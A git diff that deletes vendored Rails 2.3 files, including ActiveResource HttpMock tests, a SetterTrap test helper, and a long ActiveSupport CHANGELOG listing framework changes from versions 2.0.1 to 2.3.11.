-  test "resets all mocked responses on each call to respond_to by passing pairs by default" do
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.send(:get, "/people/1", {}, "XML1")
-    end
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-
-    matz  = { :id => 1, :name => "Matz" }.to_xml(:root => "person")
-    get_matz = ActiveResource::Request.new(:get, '/people/1.xml', nil)
-    ok_response = ActiveResource::Response.new(matz, 200, {})
-    ActiveResource::HttpMock.respond_to({get_matz => ok_response})
-
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-  end
-
-  test "allows you to add new responses to the existing responses by calling a block" do
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.send(:get, "/people/1", {}, "XML1")
-    end
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-
-    ActiveResource::HttpMock.respond_to(false) do |mock|
-      mock.send(:get, "/people/2", {}, "XML2")
-    end
-    assert_equal 2, ActiveResource::HttpMock.responses.length
-  end
-
-  test "allows you to add new responses to the existing responses by passing pairs" do
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.send(:get, "/people/1", {}, "XML1")
-    end
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-
-    matz  = { :id => 1, :name => "Matz" }.to_xml(:root => "person")
-    get_matz = ActiveResource::Request.new(:get, '/people/1.xml', nil)
-    ok_response = ActiveResource::Response.new(matz, 200, {})
-    ActiveResource::HttpMock.respond_to({get_matz => ok_response}, false)
-
-    assert_equal 2, ActiveResource::HttpMock.responses.length
-  end
-
-  def request(method, path, headers = {}, body = nil)
-    if [:put, :post].include? method
-      @http.send(method, path, body, headers)
-    else
-      @http.send(method, path, headers)
-    end
-  end
-end
diff --git a/vendor/rails/activeresource/test/setter_trap.rb b/vendor/rails/activeresource/test/setter_trap.rb
deleted file mode 100644
index 7cfd9ca1..00000000
--- a/vendor/rails/activeresource/test/setter_trap.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-class SetterTrap < ActiveSupport::BasicObject
-  class << self
-    def rollback_sets(obj)
-      trapped = new(obj)
-      yield(trapped).tap { trapped.rollback_sets }
-    end
-  end
-
-  def initialize(obj)
-    @cache = {}
-    @obj = obj
-  end
-
-  def respond_to?(method)
-    @obj.respond_to?(method)
-  end
-
-  def method_missing(method, *args, &proc)
-    @cache[method] ||= @obj.send($`) if method.to_s =~ /=$/
-    @obj.send method, *args, &proc
-  end
-
-  def rollback_sets
-    @cache.each { |k, v| @obj.send k, v }
-  end
-end
diff --git a/vendor/rails/activesupport/CHANGELOG b/vendor/rails/activesupport/CHANGELOG
deleted file mode 100644
index 600b5703..00000000
--- a/vendor/rails/activesupport/CHANGELOG
+++ /dev/null
@@ -1,1383 +0,0 @@
-*2.3.11 (February 9, 2011)*
-
-*2.3.10 (October 15, 2010)*
-
-
-*2.3.9 (September 4, 2010)*
-
-* i18n: bundle i18n 0.4.1 for forward compatibility with Rails 3. Deprecates {{foo}} interpolation syntax in favor of 1.9-native %{foo}.
-
-* Deprecate Kernel#returning in favor of Object#tap since it's included in Ruby 1.8.7 and later. [Santiago Pastorino]
-
-* Deprecates ActiveSupport::Dependencies.load_(once_)paths, renamed to autoload_(once_)paths. [fxn]
-
-* Deprecates Array#random_element, renamed to sample to match Ruby 1.9, thanks to Marc-Andre Lafortune. [fxn]
-
-
-*2.3.8 (May 24, 2010)*
-
-* Version bump.
-
-
-*2.3.7 (May 24, 2010)*
-
-* HTML safety: fix compatibility with the optional rails_xss plugin.  [Nathan Weizenbaum, Santiago Pastorino]
-
-
-*2.3.6 (May 23, 2010)*
-
-* 1.9 compat: deprecated last_(month|year) in favor of prev_(month|year). [fxn]
-
-* Deprecated Array#rand in favor of Array#random_element. [Santiago Pastorino, Rizwan Reza]
-
-* Added Object#presence that returns the object if it's #present? otherwise returns nil [DHH/Colin Kelley]
-
-* New assertions assert_blank and assert_present.  #4299 [Juanjo Bazan]
-
-* Use Object#singleton_class instead of #metaclass. Prefer Ruby's choice.  [Jeremy Kemper]
-
-* JSON backend for YAJL. Preferred if available.  #2666 [Brian Lopez]
-
-* Introduce String#html_safe for rails_xss plugin and forward-compatibility with Rails 3.  [Michael Koziarski, Santiago Pastorino, José Ignacio Costa]
-
-* Time#- with a DateTime argument behaves the same as with a Time argument, i.e. returns the difference between self and arg as a Float #3476 [Geoff Buesing]
-
-* YAML serialization for OrderedHash.  #3608 [Gregor Schmidt]
-
-* Add Enumerable#exclude? to bring parity to Enumerable#include? and avoid if !x.include?/else calls [DHH]
-
-
-*2.3.5 (November 25, 2009)*
-
-* Minor Bug Fixes and deprecation warnings
-
-* Update Edinburgh TimeZone to use "Europe/London" instead of "Europe/Dublin" #3310 [Phil Ross]
-
-* Fixes for the Nokogiri backend for XmlMini
-
-* Ruby 1.9 Compatibility
-
-
-*2.3.4 (September 4, 2009)*
-
-* Introduce ActiveSupport::Multibyte.clean to clean invalid multibyte strings.
-
-* Bug fixes
-
-
-*2.3.3 (July 12, 2009)*
-
-* JSON: +Object#to_json+ calls +as_json+ to coerce itself into something natively encodable like +Hash+, +Integer+, or +String+. Override +as_json+ instead of +to_json+ so you're JSON-library-agnostic.  [Jeremy Kemper]
-
-* Allow MemCacheStore to be initialized with a MemCache-like object instead of addresses and options [Bryan Helmkamp]
-
-
-*2.3.2 [Final] (March 15, 2009)*
-
-* XmlMini supports LibXML and Nokogiri backends.  #2084, #2190 [Bart ten Brinke, Aaron Patterson]
-    Example: XmlMini.backend = 'Nokogiri'
-
-* Vendorize i18n 0.1.3 gem (fixes issues with incompatible character encodings in Ruby 1.9) #2038 [Akira Matsuda]
-
-* Update bundled memcache-client from 1.5.0.5 to 1.6.4.99. See http://www.mikeperham.com/2009/02/15/memcache-client-performance/  [Mike Perham]
-
-* Ruby 1.9.1p0 fix: URI.unescape can decode multibyte chars.  #2033 [MOROHASHI Kyosuke]
-
-* Time#to_s(:rfc822) uses #formatted_offset instead of unreliable and non-standard %z directive #1899 [Zachary Zolton]
-
-* Make TimeWithZone#to_formatted_s an alias to TimeWithZone#to_s #1796 [Levin Alexander]
-
-* Introduce Array.wrap(foo) to wrap the argument in an array unless it's already an array. Wraps nil as an empty array. Use instead of Array(foo) and foo.to_a since they treat String as Enumerable.  [Jeremy Kemper]
-
-* TimeWithZone#xmlschema accepts optional fraction_digits argument [#1725 state:resolved] [Nicholas Dainty]
-
-* Object#tap shim for Ruby < 1.8.7. Similar to Object#returning, tap yields self then returns self.  [Jeremy Kemper]
-    array.select { ... }.tap(&:inspect).map { ... }
-
-* TimeWithZone#- gives correct result with wrapped DateTime, and with DateTime argument [Geoff Buesing]
-
-* Updated i18n gem to version 0.1.1 #1635 [Yaroslav Markin]
-
-* Add :allow_nil option to delegate. #1127 [Sergio Gil]
-
-* Add Benchmark.ms convenience method to benchmark realtime in milliseconds.  [Jeremy Kemper]
-
-* Updated included memcache-client to the 1.5.0.5 version which includes fixes from fiveruns and 37signals to deal with failover and timeouts #1535 [Joshua Sierles]
-
-* Multibyte: add multibyte-safe Chars#ord rather than falling back to String#ord.  #1483 [Jason Cheow]
-
-* I18n support for Array#to_sentence. Introduces support.array.words_connector, .two_words_connector, and .last_word_connector translation keys.  #1397 [Akira Matsuda]
-
-* Added ActiveSupport::OrderedHash#each_key and ActiveSupport::OrderedHash#each_value #1410 [Christoffer Sawicki]
-
-* Added ActiveSupport::MessageVerifier and MessageEncryptor to aid users who need to store signed and/or encrypted messages. [Michael Koziarski]
-
-* Added ActiveSupport::BacktraceCleaner to cut down on backtrace noise according to filters and silencers [David Heinemeier Hansson]
-
-* Added Object#try. ( Taken from http://ozmm.org/posts/try.html ) [Chris Wanstrath]
-
-* Added Enumerable#none? to check that none of the elements match the block #1408 [Damian Janowski]
-
-* TimeZone offset tests: use current_period, to ensure TimeZone#utc_offset is up-to-date [Geoff Buesing]
-
-* Update bundled TZInfo to 0.3.12 [Geoff Buesing]
-
-* Added lambda merging to OptionMerger (especially useful with named_scope and with_options) #726 [Paweł Kondzior]
-
-
-*2.2.1 [RC2] (November 14th, 2008)*
-
-* Increment the version of our altered memcache-client to prevent confusion caused when the 1.5.0 gem is installed.
-
-* Fixed the option merging in Array#to_xml #1126 [Rudolf Gavlas]
-
-* Make I18n::Backend::Simple reload its translations in development mode [David Heinemeier Hansson/Sven Fuchs]
-
-
-*2.2.0 [RC1] (October 24th, 2008)*
-
-* TimeWithZone#freeze: preload instance variables so that we can actually freeze [Geoff Buesing]
-
-* Fix Brasilia timezone #1180 [Marcus Derencius, Kane]
-
-* Time#advance recognizes fractional days and weeks. Deprecate Durations of fractional months and years #970 [Tom Lea]
-
-* Add ActiveSupport::Rescuable module abstracting ActionController::Base rescue_from features. [Norbert Crombach, Pratik Naik]
-
-* Switch from String#chars to String#mb_chars for the unicode proxy.  [Manfred Stienstra]
-
-  This helps with 1.8.7 compatibility and also improves performance for some operations by reducing indirection.
-
-* TimeWithZone #wday, #yday and #to_date avoid trip through #method_missing [Geoff Buesing]
-
-* Added Time, Date, DateTime and TimeWithZone #past?, #future? and #today? #720 [Clemens Kofler, Geoff Buesing]
-
-* Fixed Sri Jayawardenepura time zone to map to Asia/Colombo [Jamis Buck]
-
-* Added Inflector#parameterize for easy slug generation ("Donald E. Knuth".parameterize => "donald-e-knuth") #713 [Matt Darby]
-
-* Changed cache benchmarking to be reported in milliseconds [David Heinemeier Hansson]
-
-* Fix Ruby's Time marshaling bug in pre-1.9 versions of Ruby: utc instances are now correctly unmarshaled with a utc zone instead of the system local zone [#900 state:resolved] [Luca Guidi, Geoff Buesing]
-
-* Add Array#in_groups which splits or iterates over the array in specified number of groups. #579. [Adrian Mugnolo] Example:
-  
-  a = (1..10).to_a
-  a.in_groups(3)        #=> [[1, 2, 3, 4], [5, 6, 7, nil], [8, 9, 10, nil]]
-  a.in_groups(3, false) #=> [[1, 2, 3, 4], [5, 6, 7], [8, 9, 10]]
-
-* Fix TimeWithZone unmarshaling: coerce unmarshaled Time instances to utc, because Ruby's marshaling of Time instances doesn't respect the zone [Geoff Buesing]
-
-* Added Memoizable mixin for caching simple lazy loaded attributes [Josh Peek]
-
-* Move the test related core_ext stuff out of core_ext so it's only loaded by the test helpers.  [Michael Koziarski]
-
-* Add Inflection rules for String#humanize. #535 [Dan Manges]
-
-  ActiveSupport::Inflector.inflections do |inflect|
-    inflect.human(/_cnt$/i, '\1_count')
-  end
-
-  'jargon_cnt'.humanize # => 'Jargon count'
-
-* TimeWithZone: when crossing DST boundary, treat Durations of days, months or years as variable-length, and all other values as absolute length. A time + 24.hours will advance exactly 24 hours, but a time + 1.day will advance 23-25 hours, depending on the day. Ensure consistent behavior across all advancing methods [Geoff Buesing]
-
-* Added TimeZone #=~, to support matching zones by regex in time_zone_select. #195 [Ernie Miller]
-
-* Added Array#second through Array#fifth as aliases for Array#[1] through Array#[4] + Array#forty_two as alias for Array[41] [David Heinemeier Hansson]
-
-* Added test/do declaration style testing to ActiveSupport::TestCase [DHH via Jay Fields]
-
-* Added Object#present? which is equivalent to !Object#blank? [David Heinemeier Hansson]
-
-* Added Enumberable#many? to encapsulate collection.size > 1 [David Heinemeier Hansson/Damian Janowski]
-
-* Add more standard Hash methods to ActiveSupport::OrderedHash [Steve Purcell]
-
-* Namespace Inflector, Dependencies, OrderedOptions, and TimeZone under ActiveSupport [Josh Peek]
-
-* Added StringInquirer for doing things like StringInquirer.new("production").production? # => true and StringInquirer.new("production").development? # => false [David Heinemeier Hansson]
-
-* Fixed Date#end_of_quarter to not blow up on May 31st [#289 state:resolved] (Danger)
-
-
-*2.1.0 (May 31st, 2008)*
-
-* TimeZone#to_s shows offset as GMT instead of UTC, because GMT will be more familiar to end users (see time zone selects used by Windows OS, google.com and yahoo.com.) Reverts [8370] [Geoff Buesing]
-
-* Hash.from_xml: datetime xml types overflow to Ruby DateTime class when out of range of Time. Adding tests for utc offsets [Geoff Buesing]
-
-* TimeWithZone #+ and #- : ensure overflow to DateTime with Numeric arg [Geoff Buesing]
-
-* Time#to_json: don't convert to utc before encoding. References #175 [Geoff Buesing]
-
-* Remove unused JSON::RESERVED_WORDS, JSON.valid_identifier? and JSON.reserved_word? methods. Resolves #164. [Cheah Chu Yeow]
-
-* Adding Date.current, which returns Time.zone.today if config.time_zone is set; otherwise returns Date.today [Geoff Buesing]
-
-* TimeWithZone: date part getter methods (#year #mon #day etc) are defined on class; no longer relying on method_missing [Geoff Buesing]
-
-* Time.zone.parse return nil for strings with no date information [Geoff Buesing]
-
-* Time.zone.parse respects offset information in string. Resolves #105. [Scott Fleckenstein, Geoff Buesing]
-
-* Added Ruby 1.8 implementation of Process.daemon
-
-* Duration #since and #ago with no argument (e.g., 5.days.ago) return TimeWithZone when config.time_zone is set. Introducing Time.current, which returns Time.zone.now if config.time_zone is set, otherwise just returns Time.now [Geoff Buesing]
-
-* Time#since behaves correctly when passed a Duration. Closes #11527 [kemiller]
-
-* Add #getutc alias for DateTime#utc [Geoff Buesing]
-
-* Refactor TimeWithZone: don't send #since, #ago, #+, #-, #advance through method_missing [Geoff Buesing]
-
-* TimeWithZone respects config.active_support.use_standard_json_time_format [Geoff Buesing]
-
-* Add config.active_support.escape_html_entities_in_json to allow disabling of html entity escaping.  [Rick Olson]
-
-* Improve documentation. [Xavier Noria]
-
-* Modified ActiveSupport::Callbacks::Callback#call to accept multiple arguments.
-
-* Time #yesterday and #tomorrow behave correctly crossing DST boundary. Closes #7399 [sblackstone]
-
-* TimeWithZone: Adding tests for dst and leap day edge cases when advancing time [Geoff Buesing]
-
-* TimeWithZone#method_missing: send to utc to advance with dst correctness, otherwise send to time. Adding tests for time calculations methods [Geoff Buesing]
-
-* Add config.active_support.use_standard_json_time_format setting so that Times and Dates export to ISO 8601 dates.  [Rick Olson]
-
-* TZInfo: Removing unneeded TimezoneProxy class [Geoff Buesing]
-
-* TZInfo: Removing unneeded TimezoneIndexDefinition, since we're not including Indexes::Timezones [Geoff Buesing] 
-
-* Removing unnecessary uses_tzinfo helper from tests, given that TZInfo is now bundled [Geoff Buesing]
-
-* Bundling abbreviated version of TZInfo gem 0.3.8: only the classes and zone definitions required to support Rails time zone features are included. If a recent version of the full TZInfo gem is installed, this will take precedence over the bundled version [Geoff Buesing]
-
-* TimeWithZone#marshal_load does zone lookup via Time.get_zone, so that tzinfo/Olson identifiers are handled [Geoff Buesing]
-
-* Time.zone= accepts TZInfo::Timezone instances and Olson identifiers; wraps result in TimeZone instance [Geoff Buesing] 
-
-* TimeWithZone time conversions don't need to be wrapped in TimeOrDateTime, because TZInfo does this internally [Geoff Buesing]
-
-* TimeWithZone#usec returns 0 instead of error when DateTime is wrapped [Geoff Buesing]
-
-* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria,  Sunny Ripert]
-
-* Ensure that TimeWithZone#to_yaml works when passed a YAML::Emitter.  [Rick Olson]
-
-* Ensure correct TimeWithZone#to_date [Geoff Buesing]
-
-* Make TimeWithZone work with tzinfo 0.2.x: use TZInfo::Timezone#zone_identifier alias for #abbreviation, silence warnings on tests. Raise LoadError when TZInfo version is < 0.2 by sniffing for TZInfo::TimeOrDateTime constant. Move all tzinfo-dependent TimeZone tests into uses_tzinfo block [Geoff Buesing]
-
-* Time, DateTime and TimeWithZone #in_time_zone defaults to Time.zone. Removing now unneeded #in_current_time_zone [Geoff Buesing]
-
-* TZInfo caches Timezone instances in its own internal hash cache, so TimeZone::MAPPING doesn't need to cache them as well [Geoff Buesing]
-
-* Adding TimeZone#parse [Geoff Buesing]
-
-* Adding TimeZone#at and DateTime#to_f [Geoff Buesing]
-
-* TimeWithZone responds to Ruby 1.9 weekday-named query methods [Geoff Buesing]
-
-* TimeWithZone caches TZInfo::TimezonePeriod used for time conversion so that it can be reused, and enforces DST rules correctly when instance is created from a local time [Geoff Buesing]
-
-* Fixed that BufferedLogger should create its own directory if one doesn't already exist #11285 [lotswholetime]
-
-* Fix Numeric time tests broken by DST change by anchoring them to fixed times instead of Time.now. Anchor TimeZone#now DST test to time specified with Time.at instead of Time.local to work around platform differences with Time.local and DST representation [Geoff Buesing]
-
-* Removing unneeded #change_time_zone method from Time, DateTime and TimeWithZone [Geoff Buesing]
-
-* TimeZone #local and #now correctly enforce DST rules [Geoff Buesing]
-
-* TimeWithZone instances correctly enforce DST rules. Adding TimeZone#period_for_utc [Geoff Buesing]
-
-* test_time_with_datetime_fallback expects DateTime.local_offset instead of DateTime.now.offset [Geoff Buesing]
-
-* Adding TimeWithZone #marshal_dump and #marshal_load [Geoff Buesing]
-
-* Add OrderedHash#to_hash [Josh Peek]
-
-* Adding Time#end_of_day, _quarter, _week, and _year.  #9312 [Juanjo Bazan, Tarmo Tänav, BigTitus]
-
-* Adding TimeWithZone#between? [Geoff Buesing]
-
-* Time.=== returns true for TimeWithZone instances [Geoff Buesing]
-
-* TimeWithZone #+ and #- behave consistently with numeric arguments regardless of whether wrapped time is a Time or DateTime; consistenty answers false to #acts_like?(:date) [Geoff Buesing]
-
-* Add String#squish and String#squish! to remove consecutive chunks of whitespace.  #11123 [Jordi Bunster, Henrik N]
-
-* Serialize BigDecimals as Floats when using to_yaml. #8746 [Ernesto Jimenez]
-
-* Adding TimeWithZone #to_yaml, #to_datetime, #eql? and method aliases for duck-typing compatibility with Time [Geoff Buesing]
-
-* TimeWithZone #in_time_zone returns +self+ if zone argument is the same as #time_zone [Geoff Buesing]
-
-* Adding TimeWithZone #to_a, #to_f, #to_i, #httpdate, #rfc2822 [Geoff Buesing]
-
-* Pruning unneeded TimeWithZone#change_time_zone_to_current [Geoff Buesing]
-
-* Time#zone=, #in_time_zone and #change_time_zone accept a Duration [Geoff Buesing]
-
-* Time#in_time_zone handles Time.local instances correctly [Geoff Buesing]
-
-* Pruning unneeded Time#change_time_zone_to_current. Enhanced docs to #change_time_zone to explain the difference between this method and #in_time_zone [Geoff Buesing]
-
-* TimeZone#new method renamed #local; when used with Time.zone, constructor now reads: Time.zone.local() [Geoff Buesing]
-
-* Added Base64.encode64s to encode values in base64 without the newlines. This makes the values immediately usable as URL parameters or memcache keys without further processing [David Heinemeier Hansson]
-
-* Remove :nodoc: entries around the ActiveSupport test/unit assertions.  #10946 [dancroak, jamesh]
-
-* Add Time.zone_default accessor for setting the default time zone.  Rails::Configuration.time_zone sets this.  #10982 [Geoff Buesing]
-
-* cache.fetch(key, :force => true) to force a cache miss.  [Jeremy Kemper]
-
-* Support retrieving TimeZones with a Duration.  TimeZone[-28800] == TimeZone[-480.minutes].  [Rick Olson]
-
-* TimeWithZone#- added, so that #- can handle a Time or TimeWithZone argument correctly [Geoff Buesing]
-
-* with_timezone test helper renamed with_env_tz, to distinguish between setting ENV['TZ'] and setting Time.zone in tests [Geoff Buesing]
-
-* Time#- coerces TimeWithZone argument to a Time instance so that difference in seconds can be calculated. Closes #10914 [Geoff Buesing, yyyc514]
-
-* Adding UTC zone to TimeZone; TimeWithZone no longer has to fake UTC zone with nil [Geoff Buesing]
-
-* Time.get_zone refactored to private method, given that the encapsulated logic is only useful internally [Geoff Buesing]
-
-* Time.zone uses thread-local variable for thread safety. Adding Time.use_zone, for overriding Time.zone locally inside a block. Removing unneeded Time.zone_reset! [Geoff Buesing]
-
-* TimeZone#to_s uses UTC rather than GMT; reapplying change that was undone in [8679]. #1689 [Cheah Chu Yeow]
-
-* Time.days_in_month defaults to current year if no year is supplied as argument #10799 [Radar], uses Date.gregorian_leap? to determine leap year, and uses constant lookup to determine days in month [Geoff Buesing]  
-
-* Adding Time and DateTime #compare_with_coercion, which layers behavior on #<=> so that any combination of Time, DateTime and ActiveSupport::TimeWithZone instances can be chronologically compared [Geoff Buesing]
-
-* TimeZone#now returns an ActiveSupport::TimeWithZone [Geoff Buesing]
-
-* Time #in_current_time_zone and #change_time_zone_to_current return self when Time.zone is nil [Geoff Buesing]
-
-* Remove unneeded #to_datetime_default_s alias for DateTime#to_s, given that we inherit a #to_default_s from Date that does exactly the same thing [Geoff Buesing]
-
-* Refactor Time and DateTime #to_formatted_s: use ternary instead of nested if/else [Geoff Buesing]
-
-* Adding Time and DateTime #formatted_offset, for outputting +HH:MM utc offset strings with cross-platform consistency [Geoff Buesing]
-
-* Adding alternate_utc_string option to TimeZone#formatted_offset. Removing unneeded TimeZone#offset. [Geoff Buesing]
-
-* Introduce ActiveSupport::TimeWithZone, for wrapping Time instances with a TimeZone. Introduce instance methods to Time for creating TimeWithZone instances, and class methods for managing a global time zone. [Geoff Buesing]
-
-* Replace non-dst-aware TimeZone class with dst-aware class from tzinfo_timezone plugin. TimeZone#adjust and #unadjust are no longer available; tzinfo gem must now be present in order to perform time zone calculations, via #local_to_utc and #utc_to_local methods. [Geoff Buesing]
-
-* Extract ActiveSupport::Callbacks from Active Record, test case setup and teardown, and ActionController::Dispatcher.  #10727 [Josh Peek]
-
-* Introducing DateTime #utc, #utc? and #utc_offset, for duck-typing compatibility with Time. Closes #10002 [Geoff Buesing]
-
-* Time#to_json uses Numeric#to_utc_offset_s to output a cross-platform-consistent representation without having to convert to DateTime. References #9750 [Geoff Buesing]
-
-* Refactor number-to-HH:MM-string conversion logic from TimeZone#formatted_offset to a reusable Numeric#to_utc_offset_s method. [Geoff Buesing]
-
-* Continue evolution toward ActiveSupport::TestCase.  #10679 [Josh Peek]
-
-* TestCase: introduce declared setup and teardown callbacks. Pass a list of methods and an optional block to call before setup or after teardown. Setup callbacks are run in the order declared; teardown callbacks are run in reverse.  [Jeremy Kemper]
-
-* Added ActiveSupport::Gzip.decompress/compress(source) as an easy wrapper for Zlib [Tobias Lütke]
-
-* Included MemCache-Client to make the improved ActiveSupport::Cache::MemCacheStore work out of the box [Bob Cottrell, Eric Hodel]
-
-* Added ActiveSupport::Cache::* framework as an extraction from ActionController::Caching::Fragments::* [David Heinemeier Hansson]
-
-* Fixed String#titleize to work for strings with 's too #10571 [trek]
-
-* Changed the implementation of Enumerable#group_by to use a double array approach instead of a hash such that the insert order is honored [David Heinemeier Hansson/Marcel Molina Jr.]
-
-* remove multiple enumerations from ActiveSupport::JSON#convert_json_to_yaml when dealing with date/time values.  [Rick Olson]
-
-* Hash#symbolize_keys skips keys that can't be symbolized.  #10500 [Brad Greenlee]
-
-* Ruby 1.9 compatibility.  #1689, #10466, #10468, #10554, #10594, #10632 [Cheah Chu Yeow, Pratik Naik, Jeremy Kemper, Dirkjan Bussink, Xavier Noria]
-
-* TimeZone#to_s uses UTC rather than GMT.  #1689 [Cheah Chu Yeow]
-
-* Refactor of Hash#symbolize_keys! to use Hash#replace.  Closes #10420 [ReinH]
-
-* Fix HashWithIndifferentAccess#to_options! so it doesn't clear the options hash.  Closes #10419 [ReinH]
-
-
-*2.0.1* (December 7th, 2007)
-
-* Added Array#from and Array#to that behaves just from String#from and String#to [David Heinemeier Hansson]
-
-* Fix that empty collections should be treated as empty arrays regardless of whitespace for Hash#from_xml #10255 [adamj]
-
-* Time#time_with_datetime_fallback, Time#to_datetime, Date#to_datetime and String#to_datetime honor Ruby's default calendar reform setting. #10201 [Geoff Buesing]
-
-* Change Time and DateTime #end_of_month to return last second of month instead of beginning of last day of month. Closes #10200 [Geoff Buesing]
-
-* Speedup String#blank?  [Jeremy Kemper, Michael Koziarski]
-
-* Add documentation for Hash#diff. Closes #9306 [Tarmo Tänav]
-
-* Add new superclass_delegating_accessors.  Similar to class inheritable attributes but with subtly different semantics. [Michael Koziarski, Tarmo Tänav]
-
-* Change JSON to encode %w(< > &) as 4 digit hex codes to be in compliance with the JSON spec.  Closes #9975 [Josh Peek, Cheah Chu Yeow, Tim Pope]
-
-* Fix JSON encoding/decoding bugs dealing with /'s.  Closes #9990 [Rick Olson, theamazingrando]
-
-* Introduce a base class for all test cases used by rails applications. ActiveSupport::TestCase [Michael Koziarski]
-
-  The intention is to use this to reduce the amount of monkeypatching / overriding that 
-  is done to test/unit's classes.
-
-* Document Enumerable and Hash #to_json.  #9970 [Cheah Chu Yeow]
-
-* Hash#to_xml handles symbol values.  #9954 [Assaf]
-
-* Hash#symbolize_keys behaves well with integer keys.  #9890 [PotatoSalad]
-
-* Multibyte: String#slice supports regexp argument.  #9646 [yob]
-
-* object.duplicable? returns true if object.dup is safe. False for nil, true, false, symbols, and numbers; true otherwise.  #9333 [sur]
-
-* Time, Date and DateTime #advance accept :weeks option.  #9866 [Geoff Buesing]
-
-* Fix Time#years_ago and #years_since from leap days.  #9865 [Geoff Buesing]
-
-* Time and DateTime#advance accept :hours, :minutes, and :seconds options.  #9825 [Geoff Buesing]
-
-* Fix Date#years_ago and #years_since from leap days.  #9864 [Geoff Buesing]
-
-* Refactor Time and Date#months_since and #months_ago to use #advance.  #9863 [Geoff Buesing]
-
-* Rebundle Builder 2.1.2 but prefer a newer RubyGem if available.  [Jeremy Kemper]
-
-* Add Range#overlaps?(range), Range#include?(range), and Range#step without a block. [brandon]
-
-* Correct BufferedLogger#level? checks.  #9806 [wildchild, Johan Sorensen]
-
-* String#to_xs uses Eric Wong's fast_xs extension, if available, for Builder speedup.  http://bogomips.org/fast_xs/  [Jeremy Kemper]
-
-* Introduce BasicObject as Builder::BlankSlate for Ruby 1.9 forward compatibility.  [Jeremy Kemper]
-
-* Unbundle Builder in favor of a gem dependency.  [Jeremy Kemper]
-
-* Disambiguate Time, Date, and DateTime#to_json formatting.  #9750 [Geoff Buesing, Cheah Chu Yeow]
-
-* Hash#to_json takes :only or :except options to specific or omit certain hash keys. Enumerable#to_json passes through its options to each element.  #9751 [Cheah Chu Yeow]
-
-* BufferedLogger#auto_flushing = N flushes the log every N messages. Buffers with an array instead of string. Disabling auto_flushing still flushes when the buffer hits a maximum size, as a failsafe against memory-gobbling.  [Jeremy Kemper]
-
-* Fixed Date#xmlschema for dates outside the range of what can be created with Time #9744 [Geoff Buesing]
-
-* Fixed that La Paz was included in -25200 and -14400 offsets when it should only be in -14400 #9735 [bermi]
-
-* Fixed JSON encoding to use quoted keys according to the JSON standard.  #8762 [choonkat, Cheah Chu Yeow]
-
-* Alias Object#send to send! for Ruby 1.9 forward compatibility.  [Jeremy Kemper]
-
-* Backport Object#instance_variable_defined? for Ruby < 1.8.6.  [Jeremy Kemper]
-
-* BufferedLogger#add converts the message to a string.  #9702, #9724 [eigentone, DrMark, Tom Ward]
-
-* Added ActiveSupport::BufferedLogger as a duck-typing alternative (albeit with no formatter) to the Ruby Logger, which provides a very nice speed bump (inspired by Ezra's buffered logger) [David Heinemeier Hansson]
-
-* Object#instance_exec produces fewer garbage methods.  [Mauricio Fernandez]
-
-* Decode json strings as Dates/Times if they're using a YAML-compatible format.  Closes #9614 [Rick Olson]
-
-* Fixed cache_page to use the request url instead of the routing options when picking a save path.  #8614 [Josh Peek]
-
-* Object.subclasses_of includes anonymous subclasses.  [Jeremy Kemper]
-
-* Fixed that pluralizing an empty string should return the same empty string, not "s".  #7720 [Josh Peek]
-
-* Added call to inspect on non-string classes for the logger #8533 [Coda Hale]
-
-* Deprecation: remove deprecated :mday option from Time, Date, and DateTime#change.  [Jeremy Kemper]
-
-* Fix JSON decoder with nested quotes and commas.  #9579 [Zach Dennis]
-
-* Hash#to_xml doesn't double-unescape.  #8806 [Ezran]
-
-* Added Array#rand #9170 [Norbert Crombach]. Examples:
-
-    [].rand       # => nil
-    ['a'].rand    # => 'a'
-    [1,2,3].rand  # => 1 or 2 or 3
-
-* Deprecation: removed Reloadable.  [Jeremy Kemper]
-
-* Make the utf-handler return the correct value for non-matching regular expressions. Closes #9049 [Manfred Stienstra]
-
-* Add ljust, rjust and center to utf8-handler. Closes #9165 [Manfred Stienstra]
-
-* Fix Time#advance bug when trying to advance a year from leap day.  Closes #8655 [Geoff Buesing]
-
-* Add support for []= on ActiveSupport::Multibyte::Chars. Closes #9142. [ewan, Manfred Stienstra]
-
-* Added Array#extract_options! to encapsulate the pattern of getting an options hash out of a variable number of parameters.  #8759 [Norbert Crombach]
-
-* Let alias_attribute work with attributes with initial capital letters (legacy columns etc).  Closes #8596 [mpalmer]
-
-* Added Hash#except which is the inverse of Hash#slice -- return the hash except the keys that are specified [David Heinemeier Hansson]
-
-* Added support for pluralization with a different starting letter than the singular version (cow/kine) #4929 [norri_b/Josh Susser]
-
-* Demote Hash#to_xml to use XmlSimple#xml_in_string so it can't read files or stdin.  #8453 [candlerb, Jeremy Kemper]
-
-* Backport clean_logger changes to support ruby 1.8.2 [Mislav Marohnić]
-
-* Added proper handling of arrays #8537 [Josh Susser]
-
-  Before:
-    Hash.from_xml '<images></images>'
-    # => {:images => nil}
-
-    Hash.from_xml '<images><image>foo.jpg</image></images>'
-    # => {:images => {:image => "foo.jpg"}}
-
-    Hash.from_xml '<images><image>foo.jpg</image><image>bar.jpg</image></images>'
-    # => {:images => {:image => ["foo.jpg", "bar.jpg"]}}
-
-  After:
-    Hash.from_xml '<images type="array"></images>'
-    # => {:images => []}
-
-    Hash.from_xml '<images type="array"><image>foo.jpg</image></images>'
-    # => {:images => ["foo.jpg"]}
-
-    Hash.from_xml '<images type="array"><image>foo.jpg</image><image>bar.jpg</image></images>'
-    # => {:images => ["foo.jpg", "bar.jpg"]}
-
-* Improve Time and Date test coverage.  #8646 [Josh Peek]
-
-* Add Date#since, ago, beginning_of_day, and end_of_day. Date + seconds works now.  #8575 [Geoff Buesing]
-
-* String#to_time overflows to DateTime. Add String#to_datetime.  #8572 [Geoff Buesing]
-
-* Date.yesterday and .tomorrow.  #8571 [Geoff Buesing]
-
-* Readable Date and DateTime#inspect.  #8570 [Geoff Buesing]
-
-* Move common DateTime calculations to Date.  #8536 [Geoff Buesing]
-
-* Added Date#change (like Time#change) [David Heinemeier Hansson]
-
-* DateTime#to_time converts to Time unless out of range.  #8512 [Geoff Buesing]
-
